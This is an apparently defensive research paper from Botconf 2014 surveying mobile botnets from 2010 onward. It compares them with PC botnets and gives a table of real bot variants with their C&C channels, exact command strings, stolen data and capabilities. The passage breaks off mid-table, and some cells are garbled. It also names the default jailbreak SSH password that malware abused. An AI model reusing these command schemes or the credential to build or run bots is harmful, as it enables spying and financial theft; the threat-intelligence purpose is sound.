A TIMELINE OF MOBILE BOTNETS
Ruchna Nigam
Fortinet, France

(This paper was presented at Botconf 2014.)
The recent explosion in smartphone usage has not gone unnoticed by malware authors. Indeed, malware authors have increasingly focused their attention on mobile devices, leading to a steep rise in mobile malware over the past couple of years. This paper focuses particularly on mobile bot variants that can be controlled remotely by an attacker.
The paper begins with a comparison between mobile and PC botnets, discussing fundamental, conceptual and implementational differences between them. Next, some precursors to fully functional mobile bots are discussed, along with some proof-of-concept mobile botnets that have been published for research purposes.
The crux of the paper is an inventory of known mobile bot variants in the wild. The inventory is presented in table form, ordered chronologically based on the variants’ date of discovery. The table lists features such as the command and control (C&C) channel used, C&C commands, the bots’ abilities, their main motivation(s), and the number of known samples of each. Some variants are then described in further detail, based on criteria such as unusual functionalities, anti-debugging tricks, code obfuscation and traffic encryption, and on whether they are served using unusual attack vectors.
The paper ends with some statistics based on the analysis of the bot variants listed in the inventory and some inferences that can be drawn from these statistics. My motivation for this paper stems ultimately from the possibility of this information being of use in the design of future mobile security systems.

INTRODUCTION
2014 marked the 10th year of the existence of mobile malware [1], which began with the discovery of Cabir (the first mobile worm) in 2004. Since then, mobile malware has broadly followed the same evolutionary path as PC malware, albeit at a much faster pace. This evolution includes the evident emergence of mobile phone bots – pieces of malware that can be controlled by a remote entity (a command and control [C&C] server or botmaster) to perform various functions.
The concept of this paper came about with the idea of creating an inventory of types of known mobile bot variants and, more importantly, of studying the differences and commonalities between them. 60-odd mobile bot variants have been examined and analysed, starting with variants from as early as 2010, up until the recently discovered version of the CryptoLocker ransomware targeting the Android platform.

BOTNETS: PC VS. MOBILE
In this section, some fundamental, conceptual and implementational differences between PC and mobile botnets will be discussed.

- Platform of operation: The platform on which the botmasters and slaves run is a fundamental difference between mobile and PC botnets. In the case of PC malware, both the botmaster and slave run on the same platform, i.e. a PC, whereas in the case of mobile botnets, the slave runs on a mobile phone, while the botmaster runs either on a PC or on a phone that is operated manually by an attacker. Botmasters haven’t yet been observed running autonomously on phones. One could speculate that this is due to constraints on resources in mobile phones, such as battery life and computational power.
- Connectivity: Mobile botnets are reliant on the connectivity of a mobile phone to a cellular network for communication with a C&C server, whereas PC botnets are reliant on the Internet access of the PC, which is mostly affected only by network glitches or technical faults in the device itself. The field could theoretically be considered level for the two kinds of botnets in this case. However, in practice, cellular network coverage and connectivity varies significantly in different parts of the world, meaning that mobile bots may be subject to more variations in connectivity than their PC counterparts.
- Lucrativeness: Mobile devices provide a fundamentally more lucrative attack surface owing to the fact that they are almost always carried around by the user, providing a greater probability of relevant information being grabbed from audio and video recordings and camera captures, as opposed to PC botnets that depend both on the device’s uptime and the user’s availability at the device. A particularly interesting motivation for mobile botnets that doesn’t exist in their PC counterparts is the ability to track the location of a victim in real time.
- Detection: Possibilities of detection using signs of infection exist for both mobile and PC botnets. In addition, mobile botnets also face the unique risk of detection via phone bills, i.e. either as a result of unexpectedly high bills due to Internet connection and/or SMS messages in fixed usage plans, or as a result of unusual/unrecognized numbers appearing in the call/SMS history on bills.
- Takedown: Fortunately for security enforcers, mobile botnets are still fairly easy to take down – all cases seen
in the wild so far have had a single point of takedown, i.e. either a phone number, a server or an email address. However, with the emergence of new variants with remotely upgradeable C&Cs, mobile botnets might be heading towards the level of takedown complexity seen in PC botnets.

THE EARLY STAGES OF MOBILE BOTNETS

This section will introduce the infamous Yxes malware for the Symbian platform, which was pitted as the first step towards mobile botnets, as well as some other proof-of-concept mobile botnets.

In 2009, a piece of Symbian malware named Yxes was discovered. Yxes made the headlines particularly for being the foretaste of a mobile botnet. There were two main reasons for this speculation:

1. Internet access: The malware collected information from the infected phone, such as its serial number and subscription number, and forwarded them to a remote server, fulfilling one requirement for qualification as a bot client, i.e. reporting to a remote server.

2. SMS propagation: The malware, in effect, sent SMS messages to the phone’s contacts. The SMS messages contained a download link which pointed to a copy of the malware itself, thus qualifying it as a self-propagating worm. This further fuelled speculation of it being part of a botnet since the remote copy of the malware could be upgraded by the attacker(s) to include other functionalities such as the ability to listen for commands.

However, Yxes isn’t classified as a bot since it lacks one fundamental bot functionality: the ability to take commands from a remote location.

In the same year, another piece of malware, known as Eeki.B, was discovered on iOS. The variant possessed the ability to steal information from the infected phone, such as its SMS database, iPhoneOS version and SQL version, and to send the information to a remote server in tarzipped format. It also scanned fixed IP ranges and the phone’s local IP range for other jailbroken iPhones and sent a copy of itself to them.

Eeki.B was not included in this paper’s inventory for the following reasons:

1. Jailbroken devices: The malware worked only on jailbroken devices, and in addition, only on ones that had an SSH-enabled application and used the default ssh password ‘alpine’.

2. C&C down: As in the previous case, the malware would need to be able to receive (and act on) commands from a remote location in order for it to qualify as a bot. In this case, there were no confirmed cases of an exact response received from the C&C. It appears that the C&C was taken down fairly quickly.

However, Eeki.B is considered a precursor to a mobile bot due to the fact that it possessed the ability to receive and execute shell scripts from a remote server.

PROOFS OF CONCEPT (PoCs)

This section lists some mobile botnet PoCs that have been released over the years:

- In 2010, a PoC for a cellular botnet architecture was presented. The authors evaluated a P2P-based C&C mechanism for mobile phone botnets and implemented it on jailbroken iPhones. They compared multiple approaches for C&C communication – P2P, SMS and SMS-HTTP – and concluded that an SMS-HTTP hybrid approach was optimal for C&C communication because of the difficulty in monitoring and disrupting it.

- In 2011, the PoC for an advanced (at the time) Android botnet was introduced. The botnet, called Andbot, used a novel C&C strategy named ‘URL flux’. The authors used a Username Generation Algorithm (UGA) to generate the username of a social media account that served as the C&C. The account would generate encrypted Tweets that would serve as commands after decryption by the bot. They found Andbot to be stealthy, resilient and low cost.

- In the same year, another PoC was presented that made use of a mechanism for proxying the application layer and modem on the phone. The concept was based on previous work that used the same mechanism for SMS fuzzing. The botnet architecture presented placed the bot functionality between the application layer and the modem, which would then listen for received SMS messages, decode them and check for a bot key. If the key was found, the payload functionality would be performed. Otherwise, the SMS message would be passed onto the application layer, as is done by default.

- In 2012, the authors of presented the detailed design of a mobile botnet PoC. They also included new attack vectors for spreading the bot code to smartphones. They used SMS messages as the C&C channel. They compared structured and unstructured P2P architectures and concluded that the structured architecture (a modified Kademlia) was a better option.

INVENTORY

Table 1 lists known mobile bot variants in the wild. The table is ordered chronologically based on the variants’ date of discovery, and lists features such as the C&C channel used, C&C commands, the bots’ abilities, their main motivation(s), and the number of known samples of each.
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sep 2010</td>
<td>Android/SmsHowU.A</td>
<td>SMS</td>
<td>None</td>
<td>‘How are you???’ or ‘how are you?’</td>
<td>Send location using GPS and Google Maps link to current geographic location via SMS</td>
<td>Grab location of victim</td>
<td>18</td>
</tr>
<tr>
<td>Sep 2010</td>
<td>SymbOS/Zitmo.A</td>
<td>SMS</td>
<td>None</td>
<td>ON; OFF; ADD SENDER; SET SENDER; REM SENDER; BLOCK ON; BLOCK OFF; SET ADMIN</td>
<td>SMS forwarding</td>
<td>SMS/mTAN stealing</td>
<td>2</td>
</tr>
<tr>
<td>Jan 2011</td>
<td>Android/Geinimi.A</td>
<td>HTTP</td>
<td>IMEI; network operator details; IMSI; voice mail number; SIM operator details; SIM serial number; SIM state; build info</td>
<td>PostUrl; call://; email://; map://; sms://; search://; install://; shortcut://; contact://; wallpaper://; bookmark://; http://; toast://; startapp://; suggestsms://; silentsms://; text://; contactlist; smsrecord; deviceinfo; location; sms; register; call; suggestsms; skiptime; changefrequency; applist; updatehost; install; uninstall; showurl; shell; kill; start; smskiller; dsms</td>
<td>Send email and SMS; make phone calls; update C&amp;C address; selective deletion of SMS messages; add new application shortcut icons; create a bookmark; display notifications; list running processes; perform web search; display Google Map of current location, etc.</td>
<td>Propagation of possible malware</td>
<td>632</td>
</tr>
<tr>
<td>Feb 2011</td>
<td>BlackBerry/Zitmo.A</td>
<td>SMS</td>
<td>None</td>
<td>ON; OFF; ADD SENDER; SET SENDER; REM SENDER; BLOCK ON; BLOCK OFF; SET ADMIN</td>
<td>SMS forwarding</td>
<td>SMS/mTAN stealing</td>
<td>1</td>
</tr>
<tr>
<td>Feb 2011</td>
<td>SymbOS/Zitmo.B</td>
<td>SMS</td>
<td>None</td>
<td>UNINSTALL 45930; SET ADMIN</td>
<td>SMS forwarding; install new packages; send an SMS with text ‘app installed ok’</td>
<td>SMS/mTAN stealing; propagation of possible malware</td>
<td>2</td>
</tr>
<tr>
<td>Feb 2011</td>
<td>WinCE/Zitmo.B</td>
<td>SMS</td>
<td>None</td>
<td>UNINSTALL 45930; SET ADMIN</td>
<td>Install new packages; forward SMS; send an SMS with text ‘app installed ok’</td>
<td>SMS/mTAN stealing; propagation of possible malware</td>
<td>2</td>
</tr>
<tr>
<td>Mar 2011</td>
<td>Android/PjApps.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number; SMS service centre; ICCID</td>
<td>execMark; execPush; execSoft; execTanc; execXbox</td>
<td>Insert bookmark; send SMS; install a new application; open URL in phone browser</td>
<td>Financial; propagation of possible malware</td>
<td>320</td>
</tr>
<tr>
<td>May 2011</td>
<td>Android/Smspacem.A</td>
<td>HTTP + SMS</td>
<td>Phone number; network operator name</td>
<td>HTTP: formula401; pacem SMS: health</td>
<td>Send SMS to all contacts on phone containing an HTTP link; send victim’s email address via HTTP; SMS command sends an SMS back to the sender saying ‘I am infected and alive ver 1.00’</td>
<td>Propagation of possible malware; spam</td>
<td>27</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.

2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order.
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 2011</td>
<td>Android/CruiseWin.A</td>
<td>HTTP</td>
<td>IMEI</td>
<td>sms; insms; url; clean; listapp; update</td>
<td>Send SMS; relay SMS; update C&amp;C address; list installed applications on phone; delete specific application from phone; visit specified URL if bot’s version is different from version number received from C&amp;C</td>
<td>Spying or financial (by sending SMS to premium numbers)</td>
<td>26</td>
</tr>
<tr>
<td>Jun 2011</td>
<td>Android/DroidKungFu.A</td>
<td>HTTP</td>
<td>IMEI</td>
<td>execDelete; execInstall; execOpenUrl; execStartApp</td>
<td>Download, install and execute other packages; uninstall a package; open URL in phone browser</td>
<td>Propagation of possible malware</td>
<td>1000+</td>
</tr>
<tr>
<td>Jun 2011</td>
<td>Android/JSmsHider.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; User-Agent string; cell location; cell location; version; bot version number</td>
<td>001; 002; 003; 004; 005; 006; 007; 008</td>
<td>Hide and delete SMS from numbers starting with ‘106’; set bot’s update rate; download and install package; update a package; send SMS; add APN of a Chinese operator; update C&amp;C address</td>
<td>Financial; propagation of possible malware</td>
<td>47</td>
</tr>
<tr>
<td>Jun 2011</td>
<td>Android/Plankton.A</td>
<td>HTTP</td>
<td>IMEI; build info</td>
<td>commandstatus; commands; activate; bookmarks; history; installation; shortcuts; status; homepage; terminate; unexpectedexception</td>
<td>Set browser homepage; get/set bookmarks; get/set list of shortcuts on the phone’s main application page; send debugging info</td>
<td>Propagation of possible malware</td>
<td>2000+</td>
</tr>
<tr>
<td>Jun 2011</td>
<td>Android/YzheSms.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number; build info</td>
<td>XML response containing tags domreg; upgrade; address; time; widget</td>
<td>Send SMS; upgrade self; widget element of C&amp;C’s XML response contains a URL to contact, phone numbers to send SMS to, and content of SMS to send</td>
<td>Financial</td>
<td>1</td>
</tr>
<tr>
<td>Jul 2011</td>
<td>Android/GoldDream.A</td>
<td>HTTP</td>
<td>IMEI; IMSI</td>
<td>1-8</td>
<td>Send SMS; make a phone call; download and install new packages; delete packages; upload files to a URL</td>
<td>Financial; propagation of possible malware</td>
<td>405</td>
</tr>
<tr>
<td>Jul 2011</td>
<td>Android/PjApps.B</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number; location info</td>
<td>execTask; execXBox</td>
<td>Send SMS; visit a URL</td>
<td>Financial</td>
<td>15</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.
2 Number of unique samples.

*Table 1: Known mobile bot variants, in chronological order (contd.)*
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 2011</td>
<td>Android/NickiSpy.B</td>
<td>SMS</td>
<td>IMEI</td>
<td>Password# + record; contact; 0boot; 1boot; 0log; 1log; sendlog; 0sms; 1sms;</td>
<td>Send SMS history; phone contacts; call logs; status of phone; enable/disable booting</td>
<td>Spying/data stealing</td>
<td>20</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sendsms; 0gps; 1gps; state; newnum; 0all; 1all</td>
<td>notifications; phone call monitoring; SMS monitoring; GPS monitoring; update</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sendlog; 0sms; 1sms; sendsms; 0gps; 1gps; state; newnum; 0all; 1all</td>
<td>C&amp;C number</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 2011</td>
<td>Android/Pirates.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; Android SDK version</td>
<td>sendsms; blog down; free down; fav down; open wap</td>
<td>Send SMS; add bookmark; open URL in phone browser; set APN</td>
<td>Financial</td>
<td>107</td>
</tr>
<tr>
<td>Aug 2011</td>
<td>SymbOS/Spinilog.A</td>
<td>HTTP</td>
<td>None</td>
<td>CellInfo:,,,; SMSInfo:,,,; SMSSend:[Param],,,,; EMailSend:[Param],,,,; Send-File:[Param],,,,; MakeACall:[Param],,,,; BtSendMyFile:[Param],,,,; LogInfo:,,,; CalendarInfo:,,,; Systemlist:,,,;</td>
<td>Send SMS; send email; make a phone call; send a file via Bluetooth; send phone information to an email address</td>
<td>SMS/data stealing; propagation of possible malware</td>
<td>1</td>
</tr>
<tr>
<td>Sep 2011</td>
<td>Android/DroidKungFu.D</td>
<td>HTTP</td>
<td>IMEI</td>
<td>execDelete; execInstall; execHomepage; execOpenUrl; execStartApp; execUpBin; execSysInstall</td>
<td>Download, install and execute other packages; download and install a package in the ‘system/app’ folder; set browser homepage; open URL in phone browser; download and edit DHCPCD and other files</td>
<td>Propagation of possible malware</td>
<td>1000+</td>
</tr>
<tr>
<td>Oct 2011</td>
<td>Android/FakeInst.B</td>
<td>HTTP</td>
<td>IMEI; IMSI</td>
<td>delete list; catch list; catch number=[NUM]; delete number=[NUM]; command name= removeAllSmsFilter; command name= sendContactList; command name= removeCurrent-CatchFilter; wait seconds; http url=[URL] method=GET or POST; param name=[NAME]; update; screen</td>
<td>Selective SMS deletion; selective SMS forwarding; send contact list; contact URL; update self</td>
<td>SMS/ mTANstealing; propagation of possible malware</td>
<td>177</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.

2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nov 2011</td>
<td>Android/Geinimi.B</td>
<td>HTTP</td>
<td>Same as Android/Geinimi.A</td>
<td>Same as Android/Geinimi.A</td>
<td>Send email and SMS; make phone calls; add new application shortcut icons; create a bookmark; display notifications; list running processes; perform web search; display Google Map of current location</td>
<td>Propagation of possible malware; displaying ads</td>
<td>105</td>
</tr>
<tr>
<td>Nov 2011</td>
<td>Android/GoldenEagle.A</td>
<td>SMS</td>
<td>None</td>
<td>...&gt;<strong>&lt;.a, ...&gt;.*'5&gt;', ...&gt;</strong>&lt;.b, ...&gt;<strong>&lt;.*'h&lt;, ...&gt;</strong>&lt;.<em>'y, ...&gt;**&lt;.</em>'j&lt;, ...&gt;<strong>&lt;.*'z, ...&gt;</strong>&lt;.<em>'w, ...&gt;**&lt;.</em>'v, ...&gt;<strong>&lt;.*'u, ...&gt;</strong>&lt;.<em>'t, ...&gt;**&lt;.</em>'s, ...&gt;<strong>&lt;.*'r, ...&gt;</strong>&lt;.<em>'q, ...&gt;**&lt;.</em>'p, ...&gt;<strong>&lt;.*'n, ...&gt;</strong>&lt;.<em>'m, ...&gt;**&lt;.</em>'l, ...&gt;<strong>&lt;.*'k, ...&gt;</strong>&lt;.<em>'j, ...&gt;**&lt;.</em>'i, ...&gt;<strong>&lt;.*'h, ...&gt;</strong>&lt;.<em>'g, ...&gt;**&lt;.</em>'f, ...&gt;<strong>&lt;.*'e, ...&gt;</strong>&lt;.<em>'d, ...&gt;**&lt;.</em>'c, ...&gt;<strong>&lt;.*'b, ...&gt;</strong>&lt;.<em>'a, ...&gt;**&lt;.</em>'9, ...&gt;<strong>&lt;.*'8, ...&gt;</strong>&lt;.<em>'7, ...&gt;**&lt;.</em>'6, ...&gt;<strong>&lt;.*'5, ...&gt;</strong>&lt;.<em>'4, ...&gt;**&lt;.</em>'3, ...&gt;<strong>&lt;.*'2, ...&gt;</strong>&lt;.<em>'1, ...&gt;**&lt;.</em>'0</td>
<td>Forward SMS history, call logs, contact list, audio recordings from phone to hard-coded email addresses; update email destination</td>
<td>Spying/data stealing</td>
<td>1</td>
</tr>
<tr>
<td>Jan 2012</td>
<td>Android/DroidKungFu.F</td>
<td>HTTP port 9000</td>
<td>IMEI</td>
<td>GETID; GETTASK; URLREPORT</td>
<td>Download, install and execute other packages; uninstall a package</td>
<td>Propagation of possible malware</td>
<td>61</td>
</tr>
<tr>
<td>Feb 2012</td>
<td>Android/Fjcon.A</td>
<td>HTTP phone</td>
<td>ICCID</td>
<td>XML message containing name and download URL for an application to install</td>
<td>Selective SMS hiding; SMS sending; download and install other packages</td>
<td>Financial; propagation of possible malware</td>
<td>80</td>
</tr>
<tr>
<td>Feb 2012</td>
<td>Android/Rootsmart.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; cell ID; location area code; mobile network code</td>
<td>action.host start; action.boot; action.shutdown; action.screen off; action.install; action.installed; action.check live; action.download shells; action.exploid; action.first commit localinfo; action.load taskinfo; action.download apk</td>
<td>Send SMS; download and install applications</td>
<td>Financial; propagation of possible malware</td>
<td>15</td>
</tr>
<tr>
<td>Feb 2012</td>
<td>Android/Zitmo.A</td>
<td>SMS</td>
<td>None</td>
<td>on; off; set admin</td>
<td>SMS forwarding; start/stop SMS forwarding; update C&amp;C phone number</td>
<td>SMS and mTAN stealing</td>
<td>108</td>
</tr>
<tr>
<td>Apr 2012</td>
<td>Android/DroidKungFu.G</td>
<td>HTTP</td>
<td>IMEI</td>
<td></td>
<td>Download, install and execute other packages</td>
<td>Propagation of possible malware</td>
<td>204</td>
</tr>
<tr>
<td>May 2012</td>
<td>Android/TigerBot.A</td>
<td>SMS</td>
<td>IMEI</td>
<td>**; ![dddd]*11; ![dddd]<em>15</em>[proc]; ![dddd]<em>16</em>[proc]; ![key]*21; ![key]<em>13; ![key]<em>17</em>a</em>b; ![key]*19; ![key]*18; ![key]*22</td>
<td>Send SMS to a given phone number; send network info; capture image; change APN; notify of SIM change; kill specific running applications; restart the device; report current location; send debug info</td>
<td>Financial; spying/data stealing</td>
<td>40</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.  
2 Number of unique samples.

*Table 1: Known mobile bot variants, in chronological order (contd.)*
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#²</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 2012</td>
<td>Android/NotCompatible.A</td>
<td>HTTP</td>
<td>None</td>
<td>connectProxy; newServer; sendError; sendPong; shutdownChannel</td>
<td>Use of the infected device as a proxy server (probably to gain access to private networks)</td>
<td>Proxy</td>
<td>25</td>
</tr>
<tr>
<td>Jun 2012</td>
<td>Android/Zitmo.E</td>
<td>SMS</td>
<td>IMEI; IMSI</td>
<td>#; /; !; comma + [NUMBER]</td>
<td>SMS forwarding; change the C&amp;C phone number; mark software for uninstall; clean settings</td>
<td>SMS/mTAN stealing</td>
<td>28</td>
</tr>
<tr>
<td>Jul 2012</td>
<td>Android/FkToken.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number</td>
<td>sms; catch; delete; httpRequest; param; update; screen; command; wait; server</td>
<td>Selective SMS forwarding; selective SMS deletion; forward phone contact list; configuration update</td>
<td>SMS/mTAN stealing</td>
<td>688</td>
</tr>
<tr>
<td>Jul 2012</td>
<td>Android/Spitmo.D</td>
<td>SMS</td>
<td>IMEI; IMSI; phone number</td>
<td>#; /; !; comma + [NUMBER]</td>
<td>SMS forwarding; update C&amp;C phone number; toggle SMS control and forwarding</td>
<td>SMS/mTAN stealing</td>
<td>1</td>
</tr>
<tr>
<td>Jul 2012</td>
<td>Android/Twikabot.A</td>
<td>HTTP</td>
<td>IMEI; phone number</td>
<td>sms</td>
<td>SMS sending</td>
<td>Financial</td>
<td>5</td>
</tr>
<tr>
<td>Aug 2012</td>
<td>Android/Fakemart.A</td>
<td>HTTP</td>
<td>None</td>
<td>sms</td>
<td>Configuration update; SMS sending; SMS hiding</td>
<td>Financial</td>
<td>3</td>
</tr>
<tr>
<td>Aug 2012</td>
<td>Android/Fakemart.B</td>
<td>HTTP</td>
<td>None</td>
<td>sms</td>
<td>Configuration update; SMS sending; SMS hiding</td>
<td>Financial</td>
<td>16</td>
</tr>
<tr>
<td>Aug 2012</td>
<td>Android/LuckyCat.A</td>
<td>HTTP</td>
<td>Phone number</td>
<td>mSendReport; GetDirList; mReadFileDataFun; mWriteFileDataFun</td>
<td>Browse directory info; download and upload files; send information such as phone number and IP address of victim’s phone</td>
<td>Spying/data stealing</td>
<td>18</td>
</tr>
<tr>
<td>Aug 2012</td>
<td>Android/Vdloader.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number; Android SDK version; network type; phone type; phone model; network operator</td>
<td>Flag= + 0,1,2</td>
<td>Display notifications; SMS sending; download and install packages</td>
<td>Financial; propagation of possible malware</td>
<td>151</td>
</tr>
<tr>
<td>Sep 2012</td>
<td>Android/FakeLash.A</td>
<td>HTTP</td>
<td>IMEI; phone number; SIM serial number; Android ID</td>
<td>MSG;; PPI;; NUM;; SMS:</td>
<td>Selective SMS hiding and forwarding; send SMS; update list of numbers to hide SMS from</td>
<td>Financial</td>
<td>2</td>
</tr>
<tr>
<td>Sep 2012</td>
<td>Android/Vidro.A</td>
<td>HTTPS</td>
<td>IMEI; build info; country code; phone language; SIM card country ISO; SIM card operator</td>
<td>service code; service text; service interval; apk source</td>
<td>Selective SMS hiding; SMS sending; configuration update</td>
<td>Financial</td>
<td>159</td>
</tr>
</tbody>
</table>

¹ Date of discovery of the first sample.
² Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nov 2012</td>
<td>Android/FkLookt.A</td>
<td>HTTP</td>
<td>None</td>
<td>clearFileList; clear-Alarm; getTexts; get-Dir; getFile; getSize</td>
<td>Delete files on the victim’s phone; upload the phone’s file listing to an FTP server; save SMS or MMS history from the phone to a particular location</td>
<td>Spying/data stealing</td>
<td>8</td>
</tr>
</tbody>
</table>
| Jan 2013 | Android/Stealer.B           | HTTP and SMS | IMEI; IMSI; phone contacts | HTTP: time; sms; send; delete; smscf  
SMS: ServerKey + 001; 002; anything | Specify time when trojan should next contact C&C; send SMS; delete SMS from phone; selective SMS hiding; start application; forward received SMS; update ServerKey value | Financial; spying/data stealing       | 7   |
| Jan 2013 | Android/Tascudap.A          | HTTP at 2700–2799 | None                   | #m; #u; #t                         | Send SMS; send large number of UDP packets containing randomly chosen bytes to specified URL | Financial; DDoS | 40  |
| Feb 2013 | Android/Claco.A            | HTTP at port 9999 | Email address registered on phone | info; sms; call; exec; device reboot; get packages; open;  
get sd map; get file; get dir;  
get sms; del sms; ringer; get network info; creds attack;  
creds dropbox; get pics; get contacts; forward; forward unset; usb autorun attack; start track; commands | Send SMS messages; make phone calls;  
toggle the Wi-Fi state; reboot the device; start other activities on the device; delete SMS messages; change ringer state; upload network information, file and directory listing, SMS records, contact information, Android and Dropbox user credentials, build information | Financial; spying/data stealing (particularly account credentials); propagation of malware to PC when phone is connected to it in USB mode | 4   |
| Mar 2013 | Android/Chuli.A            | HTTP     | Phone number            | contact; location; sms; other                                                       | Send list of phone contacts; send location info; SMS forwarding; send info regarding received calls | Spying/data stealing                    | 2   |
| Apr 2013 | Android/BadNews.A          | HTTP     | IMEI; phone number; 64-bit Android ID; build info; phone language | news; showpage; install; showinstall; iconpage; iconinstall; newdemen; seconddomen; stop; testpost | Display of notifications that could lead to the further download and installation of packages; update address of the C&C server; install shortcuts on the infected phone | Propagation of possible malware       | 50  |

1 Date of discovery of the first sample.
2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apr 2013</td>
<td>Android/Perkel.A</td>
<td>SMS</td>
<td>None</td>
<td>&amp;;&amp;; @DELETE</td>
<td>Activate SMS listener for a specific period of time; forward SMS to a hard-coded phone number; deactivate bot</td>
<td>SMS/mTAN stealing</td>
<td>9</td>
</tr>
<tr>
<td>Apr 2013</td>
<td>Android/SmsMngr.A</td>
<td>HTTP</td>
<td>IMSI; phone number</td>
<td>GET RECEIVE MESSAGE; GET SEND MESSAGE; MODIFY MESSAGE; DELETE MESSAGE; SHOW MESSAGE</td>
<td>Delete, modify, forward SMS messages present in the inbox</td>
<td>SMS/mTAN stealing</td>
<td>1</td>
</tr>
<tr>
<td>Apr 2013</td>
<td>Android/Smsilence.A</td>
<td>SMS</td>
<td>Phone number</td>
<td>112; 113</td>
<td>Uninstall self; download and install payload from hard-coded location; SMS from hard-coded number results in deletion of a specific application</td>
<td>Propagation of possible malware</td>
<td>18</td>
</tr>
<tr>
<td>Apr 2013</td>
<td>Android/SMSSpy.F</td>
<td>HTTP</td>
<td>Phone number</td>
<td>219083</td>
<td>SMS forwarding; if C&amp;C responds with the command (219083), the received SMS message is hidden from the user</td>
<td>SMS/mTAN stealing</td>
<td>105</td>
</tr>
<tr>
<td>May 2013</td>
<td>Android/Pincer.A</td>
<td>SMS</td>
<td>IMEI; phone number; build info; network operator name; Android ID; phone language; rooting state of phone</td>
<td>command: start sms forwarding; start call blocking; stop sms forwarding; stop call blocking; send sms; execute ussd; simple execute ussd; stop program; show message; delay change; ping</td>
<td>Selective SMS forwarding; selective call blocking; SMS sending; update command fetching interval; stop bot</td>
<td>Spying/data stealing</td>
<td>10</td>
</tr>
<tr>
<td>May 2013</td>
<td>Android/Stels.A</td>
<td>HTTP</td>
<td>IMEI; IMSI</td>
<td>wait; server; subPref; botId; remoteAllSmsFilters; remoteAllCatch-Filters; deleteSms; catchSms; sendSms; httpRequest; update; uninstall; notifications; openUrl; sendContactList; sendPackageList; makeCall</td>
<td>Call a given phone number; send an attacker-defined SMS; open given URL in phone browser; toast a specific message</td>
<td>Financial</td>
<td>3</td>
</tr>
<tr>
<td>Jun 2013</td>
<td>Android/Tetus.A</td>
<td>HTTP</td>
<td>IMEI; network carrier; network operator name; build info; firmware version</td>
<td>csc; keyword; ucsa</td>
<td>SMS forwarding; SMS sending; update SMS destination and content; send updates when a partner application is installed</td>
<td>Spying/data stealing</td>
<td>181</td>
</tr>
<tr>
<td>Jul 2013</td>
<td>Android/IknoSpy.A</td>
<td>HTTP</td>
<td>IMEI; incoming and outgoing call logs and SMS messages</td>
<td>REQ TYPE = LOC; REQ TYPE = CAM</td>
<td>Toggle GPS status; send location information; capture pictures from phone camera</td>
<td>Spying/data stealing</td>
<td>1</td>
</tr>
<tr>
<td>Jul 2013</td>
<td>Android/MSNewsSpy. A</td>
<td>SMS</td>
<td>IMEI; IMSI</td>
<td>!#10:;!#16:;!#20:;!#30:</td>
<td>Delete all SMS messages; send SMS to a hard-coded phone number; hide incoming SMS</td>
<td>Financial</td>
<td>4</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.
2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jul 2013</td>
<td>Android/Rmspy.A</td>
<td>SMS</td>
<td>IMEI; network operator name</td>
<td>*#OLD PIN#INT#NEW PIN#</td>
<td>Update PIN value used to identify SMS containing bot commands; SMS sending when calls received; hide incoming calls; detect SIM change; detect battery change</td>
<td>Spying/data stealing</td>
<td>3</td>
</tr>
<tr>
<td>Jul 2013</td>
<td>Android/SaurFtp.A</td>
<td>HTTP and SMS</td>
